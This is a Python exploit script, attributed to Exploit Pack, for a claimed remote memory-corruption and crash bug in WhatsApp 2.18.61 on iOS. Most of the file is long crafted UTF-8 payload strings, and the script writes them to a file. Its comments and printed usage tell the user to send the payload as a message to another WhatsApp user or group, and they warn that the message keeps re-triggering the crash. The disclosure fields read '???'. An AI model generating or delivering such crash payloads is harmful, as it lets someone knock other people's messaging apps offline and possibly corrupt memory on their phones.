#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Exploit Author: Juan Sacco <jsacco@exploitpack.com> at Exploit Pack-
http://www.exploitpack.com
# This vulnerability has been discovered and exploited using
ExploitPack - Framework
#
# Tested on: iPhone 5/6s/X iOS 10 and 11.4.1 ( Latest release of iOS
at the date of writing this )
#
# Description:
# WhatsApp 2.18.61 and prior are affected. The application fails to
properly filter user-supplied UTF-8 chars and cannot process rapid
memory allocs/deallocs in iOS devices
# thus for it becomes prone to a remote memory corruption
vulnerability by using an specially crafted message.
#
# Impact:
# Resource exhaustion attacks exploit a design flaw. An attacker could
exploit this vulnerability to remotely corrupt the memory of the
target and forcing an uhandled exception
# in the context of the application that could potentially result in a
denial-of-service condition and/or remote memory corruption.
#
# Debug:
# B04500954836","name":"WhatsApp"}
# Date/Time:       2018-04-06 18:15:30.608135 +0200
# OS Version:      iPhone OS 11.4.1 (Build 15E302)
# Architecture:    arm64
# Command:         WhatsApp
# ExceptionType: EXC_CRASH
#
# How to use this exploit:
# Send the payload as a message to another Whatsapp user or group,
trough a phone orw hatsapp-web.
#
# WARNING!
# Because this is a especially crafted message, if WhatsApp crashes it
doesn't means that the message it's not stored on the phone you need
to remove it/archive it before open
# the conversation again or it will be triggered back.
#
# Timeline:
# Date and time of release: 27 August 2018
# Reported to Apple: ???
# Reported to Facebook/Whatsapp: ???

import sys
reload(sys)

def whatsapp(filename):
    sys.setdefaultencoding("utf-8")
    payload1 = u'a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a! a!!a!C/a!PSa!$?a!Y=a!|a!SSa!"a!(c)a!aa!<<a!!a!a!(r)a!-a!dega!+-a!2a!3a!'a!ua!Pa!*a!,a!1a!oa!>>a!1/4a!1/2a!3/4a!?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa a!aC/aPSa$?aY=a|aSSa"a(c)aaa<<a!aa(r)a-adega+-a2a3a'auaPa*a,a1aoa>>a1/4a1/2a3/4a?a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r) a(r)!a(r)C/a(r)PSa(r)$?a(r)Y=a(r)|a(r)SSa(r)"a(r)(c)a(r)aa(r)<<a(r)!a(r)a(r)(r)a(r)-a(r)dega(r)+-a(r)2a(r)3a(r)'a(r)ua(r)Pa(r)*a(r),a(r)1a(r)oa(r)>>a(r)1/4a(r)1/2a(r)3/4a(r)?a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a- a-!a-C/a-PSa-$?a-Y=a-|a-SSa-"a-(c)a-aa-<<a-!a-a-(r)a--a-dega-+-a-2a-3a-'a-ua-Pa-*a-,a-1a-oa->>a-1/4a-1/2a-3/4a-?adegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadeg adeg!adegC/adegPSadeg$?adegY=adeg|adegSSadeg"adeg(c)aa$?aaY=aa|aaSSaa"aa(c)aaaaa<<aa!aaaa(r)aa-aadegaa+-aa2aa3aa'aauaaPaa*aa,aa1aaoaa>>aa1/4aa1/2aa3/4aa?a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<< a<<!a<<C/a<<PSa<<$?a<<Y=a<<|a<<SSa<<"a<<(c)a<<aa<<<<a<<!a<<a<<(r)a<<-a<<dega<<+-a<<2a<<3a<<'a<<ua<<Pa<<*a<<,a<<1a<<oa<<>>a<<1/4a<<1/2a<<3/4a<<?a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a! 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a!!a!C/a!PSa!$?a!Y=a!|a!SSa!"a!(c)a!aa!<<a!!a!a!(r)a!-a!dega!+-a!2a!3a!'a!ua!Pa!*a!,a!1a!oa!>>a!1/4a!1/2a!3/4a!?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa a!aC/aPSa$?aY=a|aSSa"a(c)aaa<<a!aa(r)a-adega+-a2a3a'auaPa*a,a1aoa>>a1/4a1/2a3/4a?a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r) a(r)!a(r)C/a(r)PSa(r)$?a(r)Y=a(r)|a(r)SSa(r)"a(r)(c)a(r)aa(r)<<a(r)!a(r)a(r)(r)a(r)-a(r)dega(r)+-a(r)2a(r)3a(r)'a(r)ua(r)Pa(r)*a(r),a(r)1a(r)oa(r)>>a(r)1/4a(r)1/2a(r)3/4a(r)?a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a- a-!a-C/a-PSa-$?a-Y=a-|a-SSa-"a-(c)a-aa-<<a-!a-a-(r)a--a-dega-+-a-2a-3a-'a-ua-Pa-*a-,a-1a-oa->>a-1/4a-1/2a-3/4a-?adegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadeg adeg!adegC/adegPSadeg$?adegY=adeg|adegSSadeg"adeg(c)aa$?aaY=aa|aaSSaa"aa(c)aaaaa<<aa!aaaa(r)aa-aadegaa+-aa2aa3aa'aauaaPaa*aa,aa1aaoaa>>aa1/4aa1/2aa3/4aa?a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<< a<<!a<<C/a<<PSa<<$?a<<Y=a<<|a<<SSa<<"a<<(c)a<<aa<<<<a<<!a<<a<<(r)a<<-a<<dega<<+-a<<2a<<3a<<'a<<ua<<Pa<<*a<<,a<<1a<<oa<<>>a<<1/4a<<1/2a<<3/4a<<?a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a! a!!a!C/a!PSa!$?a!Y=a!|a!SSa!"a!(c)a!aa!<<a!!a!a!(r)a!-a!dega!+-a!2a!3a!'a!ua!Pa!*a!,a!1a!oa!>>a!1/4a!1/2a!3/4a!?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa a!aC/aPSa$?aY=a|aSSa"a(c)aaa<<a!aa(r)a-adega+-a2a3a'auaPa*a,a1aoa>>a1/4a1/2a3/4a?a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r) a(r)!a(r)C/a(r)PSa(r)$?a(r)Y=a(r)|a(r)SSa(r)"a(r)(c)a(r)aa(r)<<a(r)!a(r)a(r)(r)a(r)-a(r)dega(r)+-a(r)2a(r)3a(r)'a(r)ua(r)Pa(r)*a(r),a(r)1a(r)oa(r)>>a(r)1/4a(r)1/2a(r)3/4a(r)?a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a- a-!a-C/a-PSa-$?a-Y=a-|a-SSa-"a-(c)a-aa-<<a-!a-a-(r)a--a-dega-+-a-2a-3a-'a-ua-Pa-*a-,a-1a-oa->>a-1/4a-1/2a-3/4a-?adegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadeg adeg!adegC/adegPSadeg$?adegY=adeg|adegSSadeg"adeg(c)aa$?aaY=aa|aaSSaa"aa(c)aaaaa<<aa!aaaa(r)aa-aadegaa+-aa2aa3aa'aauaaPaa*aa,aa1aaoaa>>aa1/4aa1/2aa3/4aa?a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<<a<< a<<!a<<C/a<<PSa<<$?a<<Y=a<<|a<<SSa<<"a<<(c)a<<aa<<<<a<<!a<<a<<(r)a<<-a<<dega<<+-a<<2a<<3a<<'a<<ua<<Pa<<*a<<,a<<1a<<oa<<>>a<<1/4a<<1/2a<<3/4a<<?a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a! a!!a!C/a!PSa!$?a!Y=a!|a!SSa!"a!(c)a!aa!<<a!!a!a!(r)a!-a!dega!+-a!2a!3a!'a!ua!Pa!*a!,a!1a!oa!>>a!1/4a!1/2a!3/4a!?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa a!aC/aPSa$?aY=a|aSSa"a(c)aaa<<a!aa(r)a-adega+-a2a3a'auaPa*a,a1aoa>>a1/4a1/2a3/4a?a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r) a(r)!a(r)C/a(r)PSa(r)$?a(r)Y=a(r)|a(r)SSa(r)"a(r)(c)a(r)aa(r)<<a(r)!a(r)a(r)(r)a(r)-a(r)dega(r)+-a(r)2a(r)3a(r)'a(r)ua(r)Pa(r)*a(r),a(r)1a(r)oa(r)>>a(r)1/4a(r)1/2a(r)3/4a(r)?a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a-a- a-!a-C/a-PSa-$?a-Y=a-|a-SSa-"a-(c)a-aa-<<a-!a-a-(r)a--a-dega-+-a-2a-3a-'a-ua-Pa-*a-,a-1a-oa->>a-1/4a-1/2a-3/4a-?adegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadegadeg adeg!adegC/adegPSadeg$?adegY=adeg|adegSSadeg"adeg(c)'
    payload2 =
u'aa(r)a-adega+-a2a3a'auaPa*a,a1aoa>>a1/4a1/2a3/4a?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa a!aC/aPSa$?aY=a|aSSa"a(c)aaa<<a!aa(r)a-adega+-a2a3a'auaPa*a,a1aoa>>a1/4a1/2a3/4a?'
    sutf8 = payload1.encode('UTF-8')
    sutf8 = payload2.encode('UTF-8')
    finalPoC = payload1 + "\n" + payload2
    print "[*] Writing to file: " + filename
    open(filename, 'w').write(finalPoC)
    print "[*] Done."

def howtouse():
    print "Usage: whatsapp.py [FILENAME]"
    print "[*] Mandatory arguments:"
    print "[-] FILENAME"
    sys.exit(-1)

if __name__ == "__main__":
    try:
        print "[*] WhatsApp 2.18.61 iOS - Remote memory corruption"
        print "[*] Author: jsacco@exploitpack.com - http://exploitpack.com"
        print "[*] How to use: Copy the content of the file and send
it as a message to another whatsapp user or group"
        whatsapp(sys.argv[1])
    except IndexError:
        howtouse()